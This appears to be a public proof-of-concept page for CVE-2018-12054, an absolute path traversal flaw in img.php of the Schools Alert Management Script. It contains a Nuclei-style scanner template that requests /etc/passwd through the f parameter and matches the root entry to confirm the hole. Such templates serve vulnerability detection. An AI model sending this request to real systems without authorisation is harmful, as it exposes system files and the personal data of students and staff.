CVE-2018-12054: Schools Alert Management Script - Arbitrary File Read

2025-08-01 Schools Alert Management Script PoC Public

Description

Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal.

PoC

id: CVE-2018-12054

info:
  name: Schools Alert Management Script - Arbitrary File Read
  author: wisnupramoedya
  severity: high
  description: Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the system, potentially exposing personal data of students, staff, and other stakeholders.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the arbitrary file read vulnerability in the Schools Alert Management Script.
  reference:
    - https://www.exploit-db.com/exploits/44874
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12054
    - https://github.com/unh3x/just4cve/issues/4
    - https://www.exploit-db.com/exploits/44874/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12054
    cwe-id: CWE-22
    epss-score: 0.38988
    epss-percentile: 0.98515
    cpe: cpe:2.3:a:schools_alert_management_script_project:schools_alert_management_script:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: schools_alert_management_script_project
    product: schools_alert_management_script
  tags: cve,cve2018,lfi,edb,schools_alert_management_script_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/img.php?f=/./etc/./passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022031c60efb4993ff21d9ed18ea1a09e38c3f8e2a3d403677248c5fce7e57e26f17022100f1bd3283b7f89f7c34c48b4c7b84d75e4c38af62140b647df0fac35c4955cd9f:922c64590222798bb761d5b6d8e72950

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